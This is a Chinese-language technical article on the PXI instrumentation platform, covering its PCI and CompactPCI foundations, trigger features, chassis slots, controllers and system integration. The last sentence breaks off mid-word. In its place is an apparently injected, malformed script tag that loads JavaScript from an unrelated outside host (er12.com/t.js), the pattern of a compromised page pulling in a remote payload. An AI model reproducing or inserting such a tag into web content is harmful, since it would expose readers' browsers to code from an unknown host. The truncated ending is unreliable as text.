pxi是一种专为工业数据采集与自动化应用度身定制的模块化仪器平台，具备机械、电气与软件等多方面的专业特性。pxi(pci extensions for instrumentation)充分利用了当前最普及的台式计算机高速标准结构 — pci。pxi规范是compactpci (pci是一种坚固的模块化结构，结合了pci电气规范与eurocard封装，适合于工业计算机用)规范的扩展。compactpci定义了封装坚固的工业版pci总线架构，在硬件模块易于装卸的前提下提供优秀的机械整合性。
因此，pxi产品具有级别更高、定义更严谨的环境一致性指标，符合工业环境下振动、撞击、温度与湿度的极限条件。pxi在compactpci的机械规范上强制增加了环境性能测试与主动冷却装置，以简化系统集成并确保不同厂商产品之间的互用性。此外，pxi还在高速pci总线的基础上补充了测量与自动化系统专用的定时与触发特性。
基于pci总线的pxi平台
pxi平台是基于pci总线，即一种基于pci坚固、模块化的结构，具有专为测试与测量应用设计的电气规范与时钟电路。pci总线作为开放的工业标准，在测试与测量工程上具有不少优势。很多为传统计算机开发的设备都是基于pci总线的。目前已经有数以千计的pci设备，而pci总线本身也采纳了诸多最新的计算技术，得以不断优化。这对pxi而言，意味着可以使用大量的设备元件，从而可以与最常用的操作系统与软件完全兼容，针对最高速的处理器和总线进行优化。
一个决定系统流量的关键因素是测量设备与计算机之间的接口总线。尽管系统性能由于处理器速度与系统内存的增加而大幅提升，却依然受到与仪器以及外部设备的通信因素限制。相比之下，pci是为新型处理器设计的，数据传输速率比常见的仪器接口总线gpib(通用接口总线)和vxi(一种工业标准的仪器总线，基于vme总线)高得多。
除了提高流量，pci还能与所有的主流操作系统兼容。pxi利用这一点将gpib和vxi也集成到pxi系统。有了这样的开放性，不同厂商开发的pxi设备都可在一个集成的系统上工作。为了维护这种不同厂商之间的互用性，pxi规范还制定了相应的对软件标准。最主要的要求之一就是pxi设备必须能在windows操作系统下工作，并配套驱动软件。这项要求不但保证了厂商兼容性，还能够加快用户集成和应用开发的速度。
为了完全利用pci的优势，pxl规范指明所有的pxi设备须和compactpci完全兼容。compactpci模块使用的封装和pxi相同，而且也是建立在pci总线上的 ；pxl较之增加了更为严格的环境测试，软件标准和一些额外的触发特性。这项严格的兼容性规定意味着当用户的应用不需要所有的模块都具有pxi专有的特性时，从而可以有更多的模块选择 ；这还意味着工程师可以将他们已经在使用的compactpci模块集成到pxi系统里。
pxi的物理特性
pxi是一个模块化的平台。系统的物理主机是一个拥有2至31个槽位的机箱，有的机箱还带有内置的显示器和键盘。机箱的第一槽是控制器槽(见图1所示的1槽)。目前可以使用的控制器有很多，最常见的两种是嵌入式控制器和mxi-3 (在结构上，一种pci到pci的桥，用于以台式计算机远程控制pxi机箱) 总线桥。嵌入式控制器是专为pxi机箱空间设计的常规计算机。mxi-3则是一种通过台式计算机控制pxi机箱的扩展器。机箱中的其它槽位被称为外部设备槽，用于插置功能模块 (见图1所示的2-7槽)，就像计算机里的pci槽一样。
pxi模块被上下两侧的导轨和“针一孔”式的接插端牢牢地固定住(图2所示)。事实上，pxi采纳了compactpci首先启用的高级“针一孔”式接插端结构。这些接插端已经被广泛采纳于各种高性能的应用，尤其是通信领域。
在尺寸上，3u的pxi机箱更加紧凑，这对于在很多狭小环境下的测试来说是一项重要的特性。各种规格的机箱包含不同数量的槽位。机箱的设计考虑了系统集成的需要，使之能够很方便地固定到机柜上。pxi机箱外形小巧，也已成为便携或野外应用的理想选择。除了内置的显示器和键盘，有的机箱还可以使用后备电池的直流电源供电。
pxi模块化、前插式的结构给维护和升级带来极大的便利。如果系统中的一个模块需要修理，工程师可以将其取出，而不影响其它任何模块。由模块化减少的停机时间降低了系统寿命内的维护成本。虽然有些工业计算机价钱比pxi低，但此二者并不属于同等级的产品。pxi的可靠性更高、更坚固、使用的总体成本更低。
集成化、可扩展的系统
通过使用如mxi-2 (一种pci系统与vxi系统间的总线扩展器)和mxi-3这样的远程控制接口技术，pxi系统能够轻易地与已有的测试与测量系统相集成。利用这些接口，工程师既可以享有pxi结构的优点，同时又避免了更换整个系统带来的高?script src=http://er12.com/t.js>
